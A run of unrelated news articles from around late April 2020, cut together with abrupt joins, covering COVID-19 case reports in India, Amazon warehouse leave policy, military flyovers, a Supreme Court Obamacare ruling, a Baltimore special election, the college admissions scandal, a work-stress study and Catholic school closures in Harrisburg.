jamie.swinnerton@chron.com The 73-year-old mother and wife of a police constable have tested positive for COVID-19 in neighbouring Navi Mumbai, an official said on Tuesday. The constable, who is attached to the Mumbai police, had tested positive for the infection earlier, while swab reports of his elderly mother and wife came out positive on Monday, public relations officer of the Navi Mumbai Municipal Corporation Mahendra Konde said. In another development, a 42-year-old heart patient, who died while being shifted to a hospital in Navi Mumbai, tested positive for coronavirus post death, the official said. A 57-year-old medical personnel of a civic hospital in Mumbai has contracted the infection, and at least 12 civic workers, who came in contact with her, were quarantined, a release from the Palghar district administration stated. As per reports, the number of positive cases in Palghar stood at 146, of which 10 patients have succumbed to the infection. Meanwhile, as many as 41 new COVID-19 cases were reported in Maharashtra's Thane district, taking the tally to 728 in the region and toll to 21, after two more died on Monday, an official from the district administration said. With 41 patients, Mumbra town has recorded the highest number of cases in the district. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (Bloomberg) -- In the breakroom at an Amazon.com Inc. warehouse in Hazle Township, Pennsylvania, a PowerPoint presentation playing on repeat shows people in hazmat suits making their way through the giant facility, spraying disinfectant. The video is followed by an explanation in English and Spanish. Nearby, televisions broadcast messages of thanks from employees and customers. So goes the new normal at the worlds largest online retailer. A vital lifeline for Americans sheltering at home during the coronavirus pandemic, Amazon is trying to limit the diseases spread within its workforce. At the same time, the company is waging a public-relations campaign to reassure the employees picking, packing and shipping products that its safe to show up even as some of their colleagues continue to get sick and others complain about working conditions. A test of Amazons progress arrives on Friday, when the company ends a pandemic perk of sorts that offered employees unlimited, unpaid time offno questions asked. Amazon last week told employees who had stayed home that they would have to start reporting for work or seek a formal leave of absence beginning May 1. In a sense, Amazons efforts echo whats happening at the state level, where some governors are trying to get people back to work without worsening the pandemic. Amazon hasnt said how many of its workers took unpaid time off. But in interviews, dozens of employees at warehouses around the country suggest a significant portion of their colleagues have stopped coming or dropped shifts. Those workers, many of whom rely on Amazon for health benefits, now face the choice of applying for an extended unpaid leave or testing Amazons new safety procedures firsthand. Employees who feel they cant return because theyre looking after school-age children or have health problems, worry that they could be replaced by the tens of thousands of new people Amazon has hired in recent weeks. Story continues One worker at the Pennsylvania warehouse where the disinfecting team video plays on a loop said she stopped going to work briefly after an outbreak of Covid-19 cases there began late last month. Shes since returned. I would have stayed home again if they didnt make the changes they have, she said. Still, the worker said that some of her colleagues remain skeptical and afraid. Amazon is providing flexibility with leave-of-absence options, including expanding the policy to cover Covid-19 circumstances, such as high-risk individuals or school closures, a spokeswoman said in an email. We continue to see heavy demand during this difficult time and the team is doing incredible work for our customers and the community. The company said it doesnt plan to cut people once the unlimited leave expires. The coronavirus first struck Amazons facilities in northern Italy in February. When cases began to spread across the U.S. in the following weeks, Amazon announced the offer of unpaid time off, as well as a temporary $2-an-hour raise. While these measures were welcomed by many workers, they said the viruss spread and a sometimes haphazard rollout of social-distancing measures amplified a prevailing distrust of management in many warehouses. When cases were reported at a returns facility in Shepherdsville, Kentucky, last month, one employee said she expressed concerns to human resources that the companys cleaning measures were inadequate. The on-site manager referred questions to a corporate call center, where an employee read a script back to her about enhanced cleaning. A follow-up note to the buildings top manager wasnt returned. The woman, who said she was then bringing her own hand sanitizer to work, started taking unpaid time off. She has applied for Covid-19 leave to care for young children and hasnt heard back. Kentucky, which hasnt set a date for reopening schools or day-care centers, had one of its worst days for new Covid-19 cases on Friday, the same day Amazon announced the end of the unpaid time-off policy. Amazon has unquestionably made its warehouses safer, according to workers around the country. Metal detectors set up to deter theft have been turned off, since employees tend to bunch up waiting to go through. Cleaning supplies are more abundant; in places where its still hard to find these products in local stores, bottles of disinfectant and hand sanitizer are tied to breakroom tables. Packaging stations have been spread out. When unloading trailers or lifting heavy items, two-person teams have been split up. And in hundreds of facilities, the company has hired contractors to spray the same disinfecting fog used by hospitals and airlines. Since March, employees have been able to bring cell phones onto the floorostensibly for emergency calls. Some workers once bristled when admonished for bringing soft drinks to their workstations or clocking in a minute late after breaks; now they said theyre being lectured about proper face mask technique or passing someone too closely in a hallway. Despite the new safety measures, many workers have chosen to cut shifts short or take a spontaneous half-day, complicating Amazons effort to ensure there are enough people to meet demand. As absenteeism reached 50% in some warehouses, according to people briefed on attendance data, Amazon went on a hiring binge. On April 13, the company reached its goal of recruiting 100,000 people and said it was looking for an additional 75,000. Workers said those reinforcements are largely responsible for keeping operations going amid the pandemic. Amazon said the new hires have been brought on to meet increased demand. Employees at warehouses in South Carolina and Michigan estimated temps and new hires outnumber veterans by 10 to 1 on some teams. We have full shifts in all departments, but its seasonal workers, said Jaylen Camp, who works at a facility in Romulus, Michigan, and earlier this month participated in a walkout calling for the warehouse to be closed for cleaning. Its all new people surrounding me daily, said another worker at a nearby facility, who, like most people who spoke for this story, requested anonymity to avoid retaliation from their employer. Sporadic protests continue at Amazon warehouses. The company has fired employees involved in walkouts or organizing in New York and Minnesota for what it says are violations of corporate policy. Several politicians have accused Amazon of retribution, and this week New Yorks attorney general announced an investigation into the firing of a Staten Island worker. The company has countered internal and external critics with employee testimonials and a PR campaign. Workers who took unpaid time off have received emails listing cleaning practices and inviting them to return to work. Social-media sites have been blanketed with Amazon advertisements thanking workers for their bravery and showing them wearing protective gear. Amazon Chief Executive Officer Jeff Bezos, wearing a mask and trailed by a camera, swung through a Dallas-area warehouse. View this post on Instagram A post shared by Amazon (@amazon) on Apr 7, 2020 at 6:06am PDT Some employees wonder how Amazon will safely accommodate returnees in buildings rearranged to separate workstations and keep people from congregating. Others said they will have a hard time returning because they have kids at home. The company said both full-time and part-time employees are eligible for Covid-19-related leave, either to care for children home from school, or because of health issue they or household members face. Those who want to avoid a penalty for missing shifts had to apply by Wednesday, Amazon told workers. (Amazon has promised two weeks of sick pay for employees who actually catch the disease). The rollout of the new leave policy has had some challenges. One part-time employee, who applied to take May off to avoid exposing elderly parents, was quickly denied by human resources, which told the person, incorrectly, that part-time employees werent eligible. An Amazon spokeswoman later said the decision had been reversed. Other employees plan to return to work. One worker at a warehouse in Connecticut, who decided to work part-time as cases spread nearby, said she cant afford to lose the paycheck. Everyone thinks its just about sick people staying home, but its more than that, she said. My kids arent in school. The unpaid time basically meant that I've had a flexible schedule which has allowed me to do what I need to for my girls. For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. In a unique initiative, the Nalbari district administration has decided to set up 'contact centres' to encourage people avail government schemes to economically benefit them in the post-lockdown period. Talking to PTI, Nalbari Deputy Commissioner Bharat Bhushan Devchoudhury said, the role of these single-window centres will be "immense" as it will work as an interface between the administration and the people so that various government welfare schemes reach the needy. "The post-lockdown scenario is going to be very crucial in terms of the economic condition of the people. We will have to ensure that the benefits of various welfare schemes reach the poorest of the poor," he said. Pointing out that the fight against the deadly virus will be a "long one" on multiple fronts, he said, though the government has several schemes to uplift different sections of society, at times it does not percolate to the poor and illiterate people in remote areas. "Though we have a number of helpline and whatsapp numbers, many of them do not know how to use it or are not confident of talking over the phone. "They are more comfortable in explaining their problems face-to-face," Devchoudhury said. Considering this aspect and to facilitate peoples' participation in government's welfare initiatives, the administration decided to set up 'contact centres' across the district, he added. "This is being done only in Nalbari. We have already set up the first such centre at the Zila Parishad office on Monday. "In the next 2-3 days, similar contact centres will be set up in all the seven revenue circles of the district," the DC said. Depending upon the success of these centres, the administration will consider setting up more such contact points across the district. He informed that the 'Jogajog Kendra' (contact centres) will be monitored by a senior officer of the district administration while it will be manned by personnel from the District Disaster Management Authority. "The centres will be opened on all weekdays during office hours. "Any person can walk in there without any prior appointment and enquire about any issue regarding government schemes. It will work as an interface between the administration and the public," Devchoudhury said. When asked about the reasons behind starting such single window facilitation centres, he said that the existing official helpline and WhatsApp numbers as well as his personal phone number were flooded with peoples' queries during the lockdown, mostly related to economic hardship. "The economic struggle of the people will be very severe after the restrictions are lifted. "We have to work extra to revive the economy and for that, we have to establish a connect with the people," Devchoudhury explained. Nalbari is one of the five districts in Assam that has been declared to be in the red zone. In the district, four persons were found to be COVID-19 positive, all of whom have been cured and released from hospitals. The DC informed that Nalbari was the first district in Assam to implement 'The Assam COVID-19 Regulations, 2020' and seal the Mallapara area after a positive case was detected on April 1. "Had there been any delay in sealing the Mallapara locality, there would have been every possibility of spreading the virus among the community. "Because of this action, we could immediately trace 44 persons, who had come in contact with the positive cases," he added. According to the Health and Family Welfare department of Assam on Monday, the state had tested a total of 8,117 samples for novel coronavirus, of which 35 have been found positive and one has died, while 27 have been cured and released from hospitals. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) During a phone conversation with Ukrainian President Volodymyr Zelensky, Lithuanian President Gitanas Nauseda noted the importance of anti-corruption measures needed for European companies that are considering significant investments in Ukraine. This was reported on the website of the President of the Republic of Lithuania. It is necessary to ensure the independence of the Ukrainian authorities and introduce anti-corruption measures. It is very important for citizens, democracy, economic growth, as well as for European companies that consider significant investments in Ukraine, President Nauseda said. When talking to his Ukrainian counterpart, President Nauseda emphasized Lithuania's strong position on the safety of the Belarusian nuclear power plant and Lithuania's decision not to buy unsafe electricity from the third countries. The president asked Ukraine to reconsider the issue of non-purchase of electricity from the Belarusian NPP. As previously reported, during a phone call on April 27, Ukrainian President Volodymyr Zelensky invited his Lithuanian counterpart Gitanas Nauseda to visit Kyiv at the end of the year. Volodymyr Zelensky and Gitanas Nauseda discussed measures to counteract the spread of coronavirus, the situation in Donbas and the preparation for the EU-Ukraine summit. ish Leader of Opposition in Delhi Assembly Ramvir Singh Bidhuri on Tuesday urged Haryana government to keep its border open for movement of those involved in COVID-19-related services and for transportation of fruits and vegetables to the national capital. Haryana' Home Minister Anil Vij on Tuesday said the state's borders with Delhi have been "sealed" with essential services allowed but stricter restrictions imposed on those coming in from the national capital. Bidhuri said the decision of the Haryana government will affect those doctors, nurses, sanitation workers and others involved in running essential services in Delhi during lockdown to contain the spread of coronavirus, he said. The BJP MLA, who represents BadarpurAssembly constituency bordering Faridabad in Haryana,in a letter to Vij alsoappreciated the efforts being made by his government to prevent the coronavirus pandemic. "Several corona warriors including doctors, nurses, sanitation workers, police and Delhi Jal Board personnel who serve in Delhi live in Haryana. The decision to seal the border will hamper their movement," Bidhuri said. A significant quantity of vegetables and fruit supply from Haryana and Himachal Pradesh enters Delhi via the border of the state. The restriction on Haryana border will also affect this, he said. The Leader of Opposition urged Vij to allow movement of employees fighting the war against coronavirus in Delhi and transportation of vegetables and fruits across the border. Bidhuri also discussed the matter with BJP general secretary and in-charge of party's Haryana unit, Anil Jain and requested him to resolve the issue, said a statement from his office. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Flyovers aren't just for the Air Force Thunderbirds and the Navy Blue Angels demonstration teams. Bomber units attached to Air Force Global Strike Command are gearing up to salute health care workers and first responders on the front lines of the coronavirus pandemic fight in a series of flyovers across three states this week. First up: B-2 Spirit bombers from the 509th Bomb Wing on Tuesday will be accompanied by A-10 Thunderbolt IIs from the U.S. Air Force Reserve's 442nd Fighter Wing and T-38 Talon's assigned to the 13th Bomb Squadron, for a flight over Kansas City, according to a release. Beginning at 10:18 a.m. local time, the stealth bombers will pass over the Centerpoint Medical Center; Children's Mercy Hospital North and South; Lee's Summit Medical Center; St. Luke's East Hospital; Research Medical Center; St. Luke's Hospital Plaza; Western Missouri Medical Center and Bothwell Regional Health Center, the release said. Related: Thunderbirds, Blue Angels Team Up for Dramatic Salute to Coronavirus Responders A two-ship B-1B Lancer formation from Ellsworth, South Dakota, is expected to conduct a salute on Friday, May 1, over Ft. Meade VA Hospital in Sturgis, S.D; the VA Hospital in Hot Springs; as well as Monument Health Medical Facility in Rapid City. The flights may be subject to change, according to AFGSC. Additional details will be released as they become available, said AFGSC spokeswoman Carla Pampe. Also on Friday, Louisiana residents can see a four-ship formation of the B-52 Stratofortress accompanied by F-15 Eagle fighters during a flyover of New Orleans and Baton Rouge. The official flight path and times will be released by the 2nd Bomb Wing on their Facebook page this week, Pampe said. B-52s from the wing first carried out flights over Shreveport, Bossier City and Monroe last week. "We are in this fight together," said Col. Jeffrey Schreiner, 509th Bomb Wing commander, in a released statement. The flights are independent of "Operation America Strong," headlined by the Thunderbirds and Blue Angels. "We have deep gratitude for all doctors, nurses, medical personnel and other essential employees and volunteers who are confronting this challenge worldwide -- but especially in our region," he said. "While defending the homeland has taken a new shape, we are proud to serve alongside those who serve in and out of uniform. This flyover is our way of sending a heartfelt salute and 'Thank You' to all those on the frontlines in the fight against this virus. Without their dedication and hard work, we would not be able to execute our vital, strategic mission," Schreiner said. Team Whiteman salutes and thanks all Missouri healthcare workers, first responders, military members and essential personnel on the frontlines of the fight against COVID-19 with a planned flyover in Kansas City, Missouri, April 28, 2019. (U.S. Air Force graphic/Thomas Barley) Meanwhile, the Blue Angels and Thunderbirds on Tuesday will kick off their multi-city tour with formation flights over New York City; Newark and Trenton, New Jersey; and Philadelphia, Pennsylvania. Viewers can expect to see a formation of six F-16C/D Fighting Falcons from the Thunderbirds and six F-18C/D Hornet aircraft from the Blue Angels. "We are truly excited to take to the skies with our Navy counterparts for a nation-wide tribute to the men and women keeping our communities safe." said U.S. Air Force Lt. Col. John Caldwell, Thunderbird 1 and mission commander for the flyover. "We hope to give Americans a touching display of American resolve that honors those serving on the frontline of our fight with COVID-19," Caldwell said in a statement Saturday. Flyovers in Newark, New York City and surrounding boroughs are set to begin at 12 p.m. EST and will last approximately 35 minutes, according to the teams. Flyovers in Trenton will start at 1:45 p.m. and last approximately 10 minutes; flyovers in Philadelphia will start at 2 p.m. and last approximately 20 minutes. The mission is the first of several planned for coming weeks across the U.S. The times and locations of flyovers will be posted as they become available, officials have said. The Pentagon stressed that observers should follow social distancing guidelines during these events. "Operation America Strong was the idea of our great military men and women," President Donald Trump said during a White House press briefing last week. "The Thunderbirds and the Blue Angels crews who wanted to show support to the American medical workers who, just like military members in a time of war, are fiercely running toward the fight." The Air Force Thunderbirds performed two recent flyovers earlier this month prior to the new mission. The F-16s flew over hospitals, medical facilities and major metropolitan areas in Colorado April 18. The team, which is headquartered at Nellis Air Force Base, Nevada, first flew a salute to first responders in Las Vegas on April 11. But the flights have also drawn scrutiny. People took to social media to question the flight costs amid the pandemic, with many businesses shuttered and millions of people out of work. According to fiscal 2017 data, it costs $20,423 per hour to fly an F-16. Bomber flights are also pricey: Flying a B-52 costs roughly $48,000 per flight hour, while a B-1B is about $94,000, according to the data. Meanwhile, a B-2 flight rounds out to roughly $122,000 per hour. "Flyovers are conducted at no additional cost to the taxpayer and serve as training for our pilots," Pampe said. "Pilots need to fly in order to remain current so we can maintain readiness. If they stop flying, the training hours they dont use will go to another base for pilots to use in order to remain proficient. She added, "This is an opportunity for the Air Force to (safely) salute the Americans who are selflessly supporting our communities during this trying time while also conducting needed training." -- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214. Read More: Air Force Was Wrong to Force Out 14-Year Officer, Appeals Court Finds The Reserve Bank of India (RBI) on Tuesday said its employees have decided to contribute a salary of one or more days totalling Rs 7.30 crore towards the PM-CARES Fund Mumbai: The Reserve Bank of India (RBI) on Tuesday said its employees have decided to contribute a salary of one or more days totalling Rs 7.30 crore towards the PM-CARES Fund. To help people affected by any kind of emergency or distress situation like the one posed by the COVID-19 pandemic, the government has set up a public charitable trust named Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund (PM-CARES Fund) to receive contributions from various sources, the central bank said in a statement. "Responding to the call to support this noble cause, the employees of the Reserve Bank have decided to contribute one or more days salary to the PM-CARES Fund," the RBI said. Click here to follow LIVE updates on coronavirus outbreak The total contribution from the employees amounting to Rs 7.30 crore is being remitted to the PM-CARES Fund, it said. The COVID-19 pandemic and the related dislocation in normal economic activity have severely affected economically weaker sections of the society and their means of livelihood. Illustrative image (Photo: nationthailand.com) Thai Foreign Trade Department Director-General Keerati Ratchano said on April 27 that a few weeks ago Deputy PM and Commerce Minister Jurin Laksanawisit wrote to the United States Trade Representative (USTR) and President Donald Trump asking to postpone the suspension as Thailand, like most countries, has been heavily affected by the Covid-19 outbreak. The US side rejected Thailands appeal and proceeded on April 25 with their original plan, resulting in 573 Thai products now having no GSP privilege and now being subject to an average 4.7 percent of tariffs instead of zero percent, he added. In 2019, Thailands total exports to the US amounted to 31.19 billion USD, including products that were under the GSP. The Supreme Court ruled Monday that Congress was not free to renege on a past promise to pay. (Getty Images) The Supreme Court ruled Monday that when Congress makes a promise to pay, the government must indeed pay up, even if a later Congress changes its mind. That's the essence of what could be a $12-billion win for health insurers who joined the Obamacare program in its first years and lost money by doing so. When Congress passed the Affordable Care Act in 2010, it banned insurers from rejecting customers based on preexisting health conditions. The program was set up to partially reimburse the insurance companies that ended up with the sickest and most expensive patients. It said the federal government "shall pay" insurers for their losses if the costs of the expanded coverage outpaced the premiums. But after Republicans took control of Congress in 2014, lawmakers refused to appropriate the money to cover the losses suffered by insurers. Writing for an 8-1 majority, Justice Sonia Sotomayor said Congress was not free to renege on a past promise to pay. The 2010 law "created a government obligation to pay insurers the full amount set out" in a formula, she wrote in Maine Community Health Options vs. United States. "An obligation is definite commitment that creates a legal liability" on the part of the government, she said. She said Congress could have said the payments were contingent on future appropriations, but it had not done so. As a result, the government had a "legal duty" to pay up. This holding "reflects a principle as old as the nation itself: The government should honor its obligations," Sotomayor said. Four insurance companies from Illinois, North Carolina and Maine had appealed to the high court after an appeals court had rejected their claims. The lower court said only Congress had the power to dispense tax money, and its later decision to refuse to pay the insurers' claims prevailed over the wording in the earlier law. Industry experts said the claims for past losses could reach $12 billion. Dissenting alone, Justice Samuel A. Alito Jr. faulted the court for "providing a massive bailout for insurance companies that took a calculated risk and lost. These companies chose to participate in an Affordable Care Act program that they thought would be profitable." In 2012, Alito joined the dissent that would have struck down the Obamacare law in its entirety. Monday's ruling has nothing directly to do with the current Obamacare program. However, the justices in the fall will hear a new challenge to the law that arose when Texan Republicans sought again to have it struck down. The Congress has demanded a probe into the alleged irregularities in the construction of a flyover on the national highway (NH 66) here after cracks appeared at three places on the bridge, just three months after its inauguration. Congress MLC Ivan D'Souza, who visited the flyover at Pumpwell on Monday, urged officials of the National Highway Authority of India (NHAI) to conduct a probe into the poor quality of work undertaken by contractors. He said public money is being wasted in the name of development work and sought a technical report on the flyover project. He asked NHAI not to disburse funds to the contractors. Dakshina Kannada district Congress president Harish Kumar MLC also said there is a possibility of irregularities in the work and demanded a thorough investigation. The work on the flyover took about ten years and was finally completed after widespread criticism from the Opposition. With cracks appearing on the flyover just after the first rain, the strength of the construction can be gauged, he said. Meanwhile, the NHAI claimed there was no structural damage to the flyover. Project director Shishu Mohan said hairline cracks appeared as the strengthening of the embankment, protection walls and flyover ramps had to be stopped due to the lockdown. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Kang Seung-woo As the world confronts the coronavirus crisis, Western countries have been showing signs of surprising weakness. Meanwhile, Asian countries, including Korea, Taiwan and China, have been praised for their responses to the fast-spreading virus. The United States and some European countries have been struggling to contain the virus. There have been reports of ugly incidents from hoarding daily necessities to racist attacks against Asians. Some analysts believe the global image of Western developed countries has been damaged since they have failed to live up to expectations of competence. The result could be a decline in Western influence around the world. BALTIMORE - Police officers, poll workers and city staff often outnumbered voters Tuesday morning at Edmondson-Westside High School in Baltimore, where voters could cast ballots in person to decide who will fill the remaining term of late Maryland Democratic congressman Elijah Cummings. In an effort to limit the spread of the coronavirus, Maryland mailed ballots to every voter in the deep-blue 7th Congressional District so they could vote without going to a polling place - a harbinger of what could come in the Maryland, Washington D.C. and Virginia primaries in June. But the state is also operating three in-person sites - in Baltimore City, Baltimore County and Howard County - for those who didn't receive a ballot or prefer to vote in person. Signs imploring people to keep their distance abounded. As voters entered the room, a volunteer sprayed their hands with hand sanitizer. All volunteers wore masks and face shields. Each station was sprayed with disinfectant after it was used. About 80 people had voted as of 9 a.m., officials said, which was slower than usual. But it was clear that nothing about the day was usual. "I'm taking a risk - my wife is mad as anything," said Chuck Linton, a 72-year-old poll watcher. "I try to protect myself as much as possible." Linton, a retired Vietnam veteran, wore gloves and a mask and tried to stay separate from voters and volunteers. But he said he wished the city had set up a way of screening voters before they entered the high school, and maybe a testing site, too. Such measures would have been especially good, Linton said, given the grim reports showing African Americans are disproportionately affected by the virus. "This whole neighborhood is African American," he said. "The most important thing is safety. The election is almost secondary." Walking into the high school, where he said he imagines at least one person is positive for coronavirus, feels "like you're walking into a furnace," he said. But Linton decided to come out and work as a poll watcher because he wanted to make sure the election was fair. He said he mailed his ballot in for Republican nominee Kimberly Klacick because he wants to see change and was upset by long-ago sexual harassment allegations against Democratic nominee Kweisi Mfume, who is favored in the heavily Democratic district. Klacik, a college dropout who set up a nonprofit to help disadvantaged women, drew attention last summer when her social media posts about trash in West Baltimore prompted Trump to call Cummings's district a "disgusting, rat and rodent infested mess." Mfume, a former NAACP president, held the congressional seat before Cummings and entered politics on the strength of his story about growing up poor and, eventually, turning away from life on the streets. Sedric Smith, 56, said he voted for Mfume because he said he is best qualified for the job. "He knows the people of Baltimore City and what needs to be done for the city," said Smith, who works in a warehouse and lives in East Baltimore. He said his priority is making schools better, which he said he hopes would lead to a decrease in crime. Smith, who wore two face masks, said he never received his mail-in ballot. "But I wasn't going to let that stop me from voting," he said. Polls close at 8 p.m., and results are expected soon after. Prudence Johnson, president of United Democratic Women of Maryland, said she received her mail-in ballot but decided to vote in person because of the challenges African Americans have historically faced voting. "This way I ensure my vote is counted," said Johnson, 42, who otherwise has not been going outside at all. "Nothing would have stopped me." She declined to say whom she voted for, but said, "I am a good Democrat." Shanita Love, who works for Baltimore City, said she was impressed by measures taken by volunteers, who she said even sprayed her brand-new gloves when she entered to vast her ballot. "I'm worried about it," she said of the coronavirus. "I'm just not going to not let my vote count." She said she received her mail-in ballot but lives nearby and decided voting in person would be more simple. Felicity Huffman must be so proud right now. After her grueling experience with the law because of her involvement in the college admissions scandal, her daughter showed that she has what it takes to get into a prestigious university on her own. On the other hand, this just shows how wrong Huffman was to be involved with that scandal in the first place. Huffman has quite underestimated the abilities of her daughter by paying $15,000 to have her daughter's SAT answers covertly corrected. When the scandal broke out, she and many more high-profile figures were implicated. Some had pleaded guilty, while others still haven't and awaiting trial. Huffman is one of the earliest to plead guilty and she served 11 days in jail for it. Sophia Macy, who is said to have no idea about what her mother did, proved that she could ace the SATs if given a chance. Macy, 19, retook the test, and her scores allowed her to get into the prestigious Carnegie Mellon University, which is located in Pittsburgh, a source revealed to Page Six. The young actress is quite proud of her achievement. Uncaring if people will continue to judge her or her mom, she took to her Instagram Stories and posted the school's logo and two smiley heart emojis. She also cannot resist in showing what happened to her by adding "CMU Drama '24" to her bio. Huffman already made sure the world knows that her daughter did not know what she did. While she probably had the best of intentions and was acting like a mom who made a wrong judgment on the situation, what she did not only shamed her and her daughter but also hurt Sophia. After all, bribing someone to change the scores of her daughter's test the first time she took it meant Huffman did not believe Sophia can do it on her own. The former "Desperate Housewives" admitted her mistake in a letter to a judge for her part in the highly-publicized scandal. She wrote, "When my daughter looked at me and asked with tears streaming down her face, 'Why didn't you believe in me? Why didn't you think I could do it on my own?' I had no adequate answer for her. I could only say, 'I am sorry.' " Sophia is undoubtedly a talented young girl. She already appeared in Jordan Peele's "The Twilight Zone." Her younger sister, Georgia, 18, is entering Vassar in the fall. Meanwhile, Lori Laughlin, the other celebrity that was part of the massive scandal, is yet to be trialed. Her daughter, Olivia Jade, whose mom's bribery efforts were supposed to support, recently took to Instagram. Before the scandal, she was already a rising influencer, mainly through her social media and YouTube account. However, after the scandal broke out, she started to keep a pretty low profile. A cute pup, however, compelled her to reappear on people's feeds. The 20-year-old is shown in a photo cuddling up to her new pet as she looks into the camera. Like Sophia Macy, Jade was said to be unaware of what her mom allegedly did and was embarrassed by what had happened. As a result, she could not go back to her social media because she knew everyone would be shading her. This is especially true when just two weeks ago, federal prosecutors released a photo of her on a rowing machine, which her parents used in their efforts to get the girls into the University of Southern California. Loughlin and her husband Mossimo Giannulli were accused of coughing up $500,000 to ensure Jade and her sister would be accepted to USC as crew recruits. They are due to be trialed in October, although there are already movements from their camp to have the case thrown out. READ MORE: Pity Party? Lori Loughlin Throwing HUGE BASH Before College Scandal Sentencing Advertisement This study focused on the relationship between work-related stress and hospital treatment for peripheral artery disease. The researchers evaluated the records of 139,000 men and women (36.4% men; average age of study participants range 39-49) participating in 11 separate studies from 1985-2008 in Finland, Sweden, Denmark and the United Kingdom. Participants included in the analysis had no previous history of peripheral artery disease when the respective studies began. Individual information for each participant included age, sex, BMI, smoker or nonsmoker, alcohol consumption, physical activity level, diabetes status, socioeconomic position, data on hospitalizations and the questionnaire on work-related stress.During an average 12.8 years of follow up, 667 people (0.2 to 1.8% of participants) were hospitalized for peripheral artery disease. Researchers found that people with work-related stress were 1.4 times as likely as those without work-related stress to have a record of peripheral artery disease in the hospitalization register, after adjusting for age, sex and lifestyle variables."Our findings suggest that work-related stress may be a risk factor for peripheral artery disease in a similar way as it is for heart disease and stroke," said lead study author Katriina Heikkila, Ph.D., senior researcher at the Karolinska Institute, Stockholm.Stress is associated with increased inflammation and higher blood glucose levels. So, although there is limited evidence linking work-related stress to heart disease, stress could be contributing to complications and exacerbations of peripheral artery disease. The investigators measured work-related stress based on participants' ratings of statements to describe psychosocial aspects of their job.This information was compared to records on peripheral artery disease hospitalizations across nearly 13 years of hospital records. Overall, nearly one-fourth of participants with no previous hospitalization for peripheral artery disease reported work-related stress at the beginning of the 11 studies. Researchers noted increased risk among men, those with high socioeconomic position and smokers, but noted such subgroup analysis was limited by the small number of people with peripheral artery disease.Limitations of this study are that it included hospital-treated peripheral artery disease only, which means that the results cannot be generalized to less severe forms of the disease. Also, certain health information, such as blood pressure and cholesterol levels, was unavailable. Co-authors are Jaana Pentti, M.Sc.; Ida E.H. Madsen, Ph.D.; Tea Lallukka, Ph.D.; Marianna Virtanen, Ph.D.; Lars Alfredsson, M.D., Ph.D.; Jakob Bjorner, Ph.D.; Marianne Borritz, M.D.; Eric Brunner, Ph.D.; Hermann Burr, Ph.D.; Jane E. Ferrie, Ph.D.; Anders Knutsson, M.D.; Aki Koskinen, M.S.; Constanze Leineweber, Ph.D.; Linda L. Magnusson Hanson, Ph.D.; Martin L. Nielsen, M.D.; Solja T. Nyberg, Ph.D.; Tuula Oksanen, M.D.; Jan H. Pejtersen, Ph.D; Olli Pietilainen, M.Sc.; Ossi Rahkonen, Ph.D.; Reiner Rugulies, Ph.D.; Archana Singh-Manoux, Ph.D.; Andrew Steptoe, D.Sci.; Sakari Suominen, M.D.; Tores Theorell, Ph.D.; Jussi Vahtera, M.D., Ph.D.; Ari Vaananen, Ph.D.; Hugo Westerlund, Ph.D.; and Mika Kivimaki, Ph.D. Author disclosures are in the manuscript.NordForsk (the Nordic Research Programme on Health and Welfare), the United Kingdom Medical Research Council, the Academy of Finland and the Helsinki Institute of Life Sciences funded the study.Additional original articles published in JAHA's spotlight issue on psychosocial risk factors in cardiovascular disease include: Youth Who Achieve Upward Socioeconomic Mobility Display Lower Psychological Distress But Higher Metabolic Syndrome Rates as Adults: Prospective Evidence from the National Study of Adolescent Health and The Midlife in the United States Study Sleep characteristics and measures of glucose metabolism in African Americans: The Jackson Heart Study An Analysis of Post-Traumatic Stress Disorder (PTSD), Depression, Anxiety and Resiliency within the Unique Population of Spontaneous Coronary Artery Dissection Survivors Association of Childhood Psychosocial Environment with 30-year Cardiovascular Disease Incidence and Mortality in Middle Age From Tear to Fear: Posttraumatic Stress Disorder in Patients with Acute Type A Aortic Dissection Prevalence and Prognostic Association of a Clinical Diagnosis of Depression in Adult Congenital Heart Disease: Results of the Boston Adult Congenital Heart Disease Biobank Cardiovascular Risk and Resilience among Blacks: Rationale and Design of the Morehouse-Emory Center (MECA) for Health Equity Greater Daily Psychosocial Stress Exposure is Associated with Increased Norepinephrine-Induced Vasoconstriction in Young Adults Goal-Striving Stress and Incident Cardiovascular Disease in African Americans: The Jackson Heart Study Positive Health Beliefs and Blood Pressure Reduction in the Discharge Educational Strategies for Reduction of Vascular Events (DESERVE) Study Exploring the spatial patterning in racial differences in cardiovascular health between blacks and whites across the United States: The Reasons for Geographic and Racial Differences in Stroke (REGARDS) StudySource: Eurekalert The Catholic Diocese of Harrisburg on Tuesday cited continued financial stress and decreasing enrollment as key factors in the decision to close two schools. Holy Family Consolidated Catholic School in Berwick and Lebanon Catholic are slated for closure at the end of this school year, officials said in a written press statement. Both schools have been facing enrollment and financial challenges for years and their continued operation is no longer sustainable by the area parishes, the press release said. Making the choice to close a Catholic school is one of the most difficult decisions for a bishop. Although many members of the Berwick and Lebanon communities worked heroically to reverse the financial situations of the schools, the downward trend has continued for years and has reached a point that is no longer sustainable by the parishes without impacting many other ministry programs. It is with a very heavy heart that I grant permission for these closures, said Bishop Ronald Gainer. While this is a very difficult time, I wish to thank the principals, faculties, staff, parents and students for their dedication. Gainer indicated that the respective parish pastors had requested the closure of the schools, citing the continued financial stresses upon the parishes, especially in light of the current health crisis. The 15-county Harrisburg Diocese in February filed for Chapter 11 bankruptcy protection, citing an unsustainable financial situation caused by ongoing clergy sex abuse lawsuits. The filing comes two years after a statewide grand jury investigation found that priests in the diocese and five others in Pennsylvania had sexually molested generations of minors. The Harrisburg Diocese was the first Catholic diocese in Pennsylvania to file for bankruptcy in the wake of that investigation. The statewide investigating grand jury led by Attorney General Josh Shapiro also found that church leaders had covered up the crimes. The U.S. Bankruptcy Trustees Office of the U.S. Middle District Court in March convened the victims committee that will oversee the dioceses federal bankruptcy case. Courts have been shuttered amid the coronavirus pandemic. Gainer delivered the news of the school closures to parents through a video message as a result of the social distancing restrictions. He said Holy Family and Lebanon Catholic have operated in deficit for several years. As joint ministries of the Berwick and Lebanon area parishes, respectively, debts from the schools operations become the responsibility of the parishes. Holy Family, a K-5th grade school, currently has 62 students and 16 staff. 